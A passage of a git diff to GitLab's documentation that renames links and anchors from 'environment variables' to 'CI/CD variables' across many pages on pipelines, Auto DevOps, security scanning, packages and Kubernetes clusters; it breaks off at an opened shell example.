-Every job gets the same `CI_NODE_TOTAL` [environment variable](../variables/README.md#predefined-environment-variables) value, and a unique `CI_NODE_INDEX` value.
+Every job gets the same `CI_NODE_TOTAL` [CI/CD variable](../variables/README.md#predefined-cicd-variables) value, and a unique `CI_NODE_INDEX` value.
 
 ```yaml
 deploystacks:
@@ -4290,7 +4290,7 @@ They can be set globally and per-job.
 
 There are two types of variables.
 
-- [Custom variables](../variables/README.md#custom-environment-variables):
+- [Custom variables](../variables/README.md#custom-cicd-variables):
   You can define their values in the `.gitlab-ci.yml` file, in the GitLab UI,
   or by using the API. You can also input variables in the GitLab UI when
   [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually).
@@ -4326,7 +4326,7 @@ meaning it applies to all jobs. If you define a variable in a job, it's availabl
 to that job only.
 
 If a variable of the same name is defined globally and for a specific job, the
-[job-specific variable overrides the global variable](../variables/README.md#priority-of-environment-variables).
+[job-specific variable overrides the global variable](../variables/README.md#priority-of-cicd-variables).
 
 All YAML-defined variables are also set to any linked
 [Docker service containers](../docker/using_docker_images.md#what-is-a-service).

doc/ci/yaml/script.md

@@ -121,7 +121,7 @@ job:
     - echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again."
 ```
 
-You can define the color codes in Shell variables, or even [custom environment variables](../variables/README.md#custom-environment-variables),
+You can define the color codes in Shell variables, or even [custom environment variables](../variables/README.md#custom-cicd-variables),
 which makes the commands easier to read and reusable.
 
 For example, using the same example as above and variables defined in a `before_script`:

doc/development/gitaly.md

@@ -211,9 +211,9 @@ and specify it in the URL:
 GITALY_REPO_URL=https://gitlab+deploy-token-1000:token-here@gitlab.com/nick.thomas/gitaly bundle exec rspec spec/lib/gitlab/git/repository_spec.rb
 ```
 
-To use a custom Gitaly repository in CI, for instance if you want your
+To use a custom Gitaly repository in CI/CD, for instance if you want your
 GitLab fork to always use your own Gitaly fork, set `GITALY_REPO_URL`
-as a [CI environment variable](../ci/variables/README.md#gitlab-cicd-environment-variables).
+as a [CI/CD variable](../ci/variables/README.md).
 
 ### Use a locally modified version of Gitaly RPC client
 

doc/raketasks/backup_restore.md

@@ -810,7 +810,7 @@ data into (`gitlabhq_production`). All existing data is either erased
 To restore a backup, you must restore `/etc/gitlab/gitlab-secrets.json`
 (for Omnibus packages) or `/home/git/gitlab/.secret` (for installations from
 source). This file contains the database encryption key,
-[CI/CD variables](../ci/variables/README.md#gitlab-cicd-environment-variables), and
+[CI/CD variables](../ci/variables/README.md), and
 variables used for [two-factor authentication](../user/profile/account/two_factor_authentication.md).
 If you fail to restore this encryption key file along with the application data
 backup, users with two-factor authentication enabled and GitLab Runner

doc/topics/autodevops/customize.md

@@ -136,7 +136,7 @@ repository or by specifying a project variable:
   file in it, Auto DevOps detects the chart and uses it instead of the
   [default chart](https://gitlab.com/gitlab-org/cluster-integration/auto-deploy-image/-/tree/master/assets/auto-deploy-app), enabling
   you to control exactly how your application is deployed.
-- **Project variable** - Create a [project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables)
+- **Project variable** - Create a [project CI/CD variable](../../ci/variables/README.md)
   `AUTO_DEVOPS_CHART` with the URL of a custom chart to use, or create two project
   variables: `AUTO_DEVOPS_CHART_REPOSITORY` with the URL of a custom chart repository,
   and `AUTO_DEVOPS_CHART` with the path to the chart.
@@ -171,7 +171,7 @@ list of options.
 ## Custom Helm chart per environment
 
 You can specify the use of a custom Helm chart per environment by scoping the environment variable
-to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables).
+to the desired environment. See [Limiting environment scopes of variables](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables).
 
 ## Customizing `.gitlab-ci.yml`
 
@@ -357,7 +357,7 @@ applications.
 
 NOTE:
 After you set up your replica variables using a
-[project variable](../../ci/variables/README.md#gitlab-cicd-environment-variables),
+[project CI/CD variable](../../ci/variables/README.md),
 you can scale your application by redeploying it.
 
 WARNING:
@@ -376,7 +376,7 @@ The following table lists variables related to the database.
 | `POSTGRES_ENABLED`                      | Whether PostgreSQL is enabled. Defaults to `true`. Set to `false` to disable the automatic deployment of PostgreSQL. |
 | `POSTGRES_USER`                         | The PostgreSQL user. Defaults to `user`. Set it to use a custom username. |
 | `POSTGRES_PASSWORD`                     | The PostgreSQL password. Defaults to `testing-password`. Set it to use a custom password. |
-| `POSTGRES_DB`                           | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-environment-variables). Set it to use a custom database name. |
+| `POSTGRES_DB`                           | The PostgreSQL database name. Defaults to the value of [`$CI_ENVIRONMENT_SLUG`](../../ci/variables/README.md#predefined-cicd-variables). Set it to use a custom database name. |
 | `POSTGRES_VERSION`                      | Tag for the [`postgres` Docker image](https://hub.docker.com/_/postgres) to use. Defaults to `9.6.16` for tests and deployments as of GitLab 13.0 (previously `9.6.2`). If `AUTO_DEVOPS_POSTGRES_CHANNEL` is set to `1`, deployments uses the default version `9.6.2`. |
 
 ### Disable jobs

doc/topics/autodevops/index.md

@@ -166,7 +166,7 @@ any of the following places:
   **Continuous Integration and Delivery** section
 
 The base domain variable `KUBE_INGRESS_BASE_DOMAIN` follows the same order of precedence
-as other environment [variables](../../ci/variables/README.md#priority-of-environment-variables).
+as other environment [variables](../../ci/variables/README.md#priority-of-cicd-variables).
 If the CI/CD variable is not set and the cluster setting is left blank, the instance-wide **Auto DevOps domain**
 setting is used if set.
 
@@ -286,7 +286,7 @@ used by Auto DevOps currently defines 3 environment names:
 Those environments are tied to jobs using [Auto Deploy](stages.md#auto-deploy), so
 except for the environment scope, they must have a different deployment domain.
 You must define a separate `KUBE_INGRESS_BASE_DOMAIN` variable for each of the above
-[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables).
+[based on the environment](../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables).
 
 The following table is an example of how to configure the three different clusters:
 

doc/user/application_security/api_fuzzing/index.md

@@ -599,7 +599,7 @@ variables:
 ```
 
 In this example `.gitlab-ci.yml`, the CI/CD variable `SECRET_OVERRIDES` provides the JSON. This is a
-[group or instance level environment variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-environment-variables):
+[group or instance level environment variable defined in the UI](../../../ci/variables/README.md#instance-level-cicd-variables):
 
 ```yaml
 include:

doc/user/application_security/index.md

@@ -549,7 +549,7 @@ This is often followed by the [error `No files to upload`](../../ci/pipelines/jo
 and preceded by other errors or warnings that indicate why the JSON report wasn't generated. Please
 check the entire job log for such messages. If you don't find these messages, retry the failed job
 after setting `SECURE_LOG_LEVEL: "debug"` as a
-[custom environment variable](../../ci/variables/README.md#custom-environment-variables).
+[custom environment variable](../../ci/variables/README.md#custom-cicd-variables).
 This provides useful information to investigate further.
 
 ### Getting error message `sast job: config key may not be used with 'rules': only/except`

doc/user/application_security/offline_deployments/index.md

@@ -152,7 +152,7 @@ GitLab.com. To do so, set the environment variable `SECURE_ANALYZERS_PREFIX` wit
 project [container registry](../../packages/container_registry/index.md).
 
 You can set this variable in the projects' `.gitlab-ci.yml`, or
-in the GitLab UI at the project or group level. See the [GitLab CI/CD environment variables page](../../../ci/variables/README.md#custom-environment-variables)
+in the GitLab UI at the project or group level. See the [GitLab CI/CD environment variables page](../../../ci/variables/README.md#custom-cicd-variables)
 for more information.
 
 #### Variables

doc/user/application_security/sast/index.md

@@ -491,7 +491,7 @@ Some analyzers can be customized with environment variables.
 > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/18193) in GitLab Ultimate 12.5.
 
 In addition to the aforementioned SAST configuration variables,
-all [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) are propagated
+all [custom CI/CD variables](../../../ci/variables/README.md#custom-cicd-variables) are propagated
 to the underlying SAST analyzer images if
 [the SAST vendored template](#configuration) is used.
 

doc/user/compliance/license_compliance/index.md

@@ -367,7 +367,7 @@ source "https://gems.example.com"
 You can supply a custom root certificate to complete TLS verification by using the
 `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), or by
 specifying a [`BUNDLE_SSL_CA_CERT`](https://bundler.io/v2.0/man/bundle-config.1.html)
-[environment variable](../../../ci/variables/README.md#custom-environment-variables)
+[environment variable](../../../ci/variables/README.md#custom-cicd-variables)
 in the job definition.
 
 ### Configuring Cargo projects
@@ -391,7 +391,7 @@ To supply a custom root certificate to complete TLS verification, do one of the
 
 - Use the `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables).
 - Specify a [`CARGO_HTTP_CAINFO`](https://doc.rust-lang.org/cargo/reference/environment-variables.html)
-  [environment variable](../../../ci/variables/README.md#custom-environment-variables)
+  [environment variable](../../../ci/variables/README.md#custom-cicd-variables)
   in the job definition.
 
 ### Configuring Composer projects
@@ -424,7 +424,7 @@ For example:
 You can supply a custom root certificate to complete TLS verification by using the
 `ADDITIONAL_CA_CERT_BUNDLE` [environment variable](#available-variables), or by
 specifying a [`COMPOSER_CAFILE`](https://getcomposer.org/doc/03-cli.md#composer-cafile)
-[environment variable](../../../ci/variables/README.md#custom-environment-variables)
+[environment variable](../../../ci/variables/README.md#custom-cicd-variables)
 in the job definition.
 
 ### Configuring Conan projects

doc/user/group/clusters/index.md

@@ -107,7 +107,7 @@ The domain should have a wildcard DNS configured to the Ingress IP address.
 When adding more than one Kubernetes cluster to your project, you need to differentiate
 them with an environment scope. The environment scope associates clusters with
 [environments](../../../ci/environments/index.md) similar to how the
-[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables)
+[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables)
 work.
 
 While evaluating which environment matches the environment scope of a

doc/user/packages/dependency_proxy/index.md

@@ -119,7 +119,7 @@ Proxy manually without including the port:
 docker pull gitlab.example.com:443/my-group/dependency_proxy/containers/alpine:latest
 ```
 
-You can also use [custom environment variables](../../../ci/variables/README.md#custom-environment-variables) to store and access your personal access token or other valid credentials.
+You can also use [custom environment variables](../../../ci/variables/README.md#custom-cicd-variables) to store and access your personal access token or other valid credentials.
 
 ### Store a Docker image in Dependency Proxy cache
 

doc/user/packages/maven_repository/index.md

@@ -771,7 +771,7 @@ The next time the `deploy` job runs, it copies `ci_settings.xml` to the
 user's home location. In this example:
 
 - The user is `root`, because the job runs in a Docker container.
-- Maven uses the configured CI [environment variables](../../../ci/variables/README.md#predefined-environment-variables).
+- Maven uses the configured CI [environment variables](../../../ci/variables/README.md#predefined-cicd-variables).
 
 ### Create Maven packages with GitLab CI/CD by using Gradle
 

doc/user/project/clusters/index.md

@@ -87,7 +87,7 @@ differentiates the new cluster from the rest.
 
 When adding more than one Kubernetes cluster to your project, you need to differentiate
 them with an environment scope. The environment scope associates clusters with [environments](../../../ci/environments/index.md) similar to how the
-[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-environment-variables) work.
+[environment-specific variables](../../../ci/variables/README.md#limit-the-environment-scopes-of-cicd-variables) work.
 
 The default environment scope is `*`, which means all jobs, regardless of their
 environment, use that cluster. Each scope can be used only by a single cluster
@@ -289,7 +289,7 @@ A Kubernetes cluster can be the destination for a deployment job. If
   the cluster from your jobs using tools such as `kubectl` or `helm`.
 - You don't use the GitLab cluster integration, you can still deploy to your
   cluster. However, you must configure Kubernetes tools yourself
-  using [environment variables](../../../ci/variables/README.md#custom-environment-variables)
+  using [environment variables](../../../ci/variables/README.md#custom-cicd-variables)
   before you can interact with the cluster from your jobs.
 
 ### Deployment variables
@@ -311,7 +311,7 @@ following command in your deployment job script, for Kubernetes to access the re
   ```
 
 The Kubernetes cluster integration exposes these
-[deployment variables](../../../ci/variables/README.md#deployment-environment-variables) in the
+[deployment variables](../../../ci/variables/README.md#deployment-variables) in the
 GitLab CI/CD build environment to deployment jobs. Deployment jobs have
 [defined a target environment](../../../ci/environments/index.md#defining-environments).
 

doc/user/project/integrations/prometheus_library/index.md

@@ -35,6 +35,6 @@ In order to isolate and only display relevant metrics for a given environment,
 GitLab needs a method to detect which labels are associated. To do that,
 GitLab uses the defined queries and fills in the environment specific variables.
 Typically this involves looking for the
-[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/README.md#predefined-environment-variables),
+[`$CI_ENVIRONMENT_SLUG`](../../../../ci/variables/README.md#predefined-cicd-variables),
 but may also include other information such as the project's Kubernetes namespace.
 Each search query is defined in the [exporter specific documentation](#exporters).

doc/user/project/integrations/prometheus_library/kubernetes.md

@@ -40,7 +40,7 @@ Prometheus needs to be deployed into the cluster and configured properly in orde
 
 In order to isolate and only display relevant CPU and Memory metrics for a given environment, GitLab needs a method to detect which containers it is running. Because these metrics are tracked at the container level, traditional Kubernetes labels are not available.
 
-Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/README.md#predefined-environment-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment.
+Instead, the [Deployment](https://kubernetes.io/docs/concepts/workloads/controllers/deployment/) or [DaemonSet](https://kubernetes.io/docs/concepts/workloads/controllers/daemonset/) name should begin with [CI_ENVIRONMENT_SLUG](../../../../ci/variables/README.md#predefined-cicd-variables). It can be followed by a `-` and additional content if desired. For example, a deployment name of `review-homepage-5620p5` would match the `review/homepage` environment.
 
 ## Displaying Canary metrics **(PREMIUM)**
 

doc/user/project/new_ci_build_permissions_model.md

@@ -195,7 +195,7 @@ As a user:
 
 ### Dependent repositories
 
-The [Job environment variable](../../ci/variables/README.md#predefined-environment-variables) `CI_JOB_TOKEN` can be used to
+The [CI/CD variable](../../ci/variables/README.md#predefined-cicd-variables) `CI_JOB_TOKEN` can be used to
 authenticate any clones of dependent repositories. For example:
 
 ```shell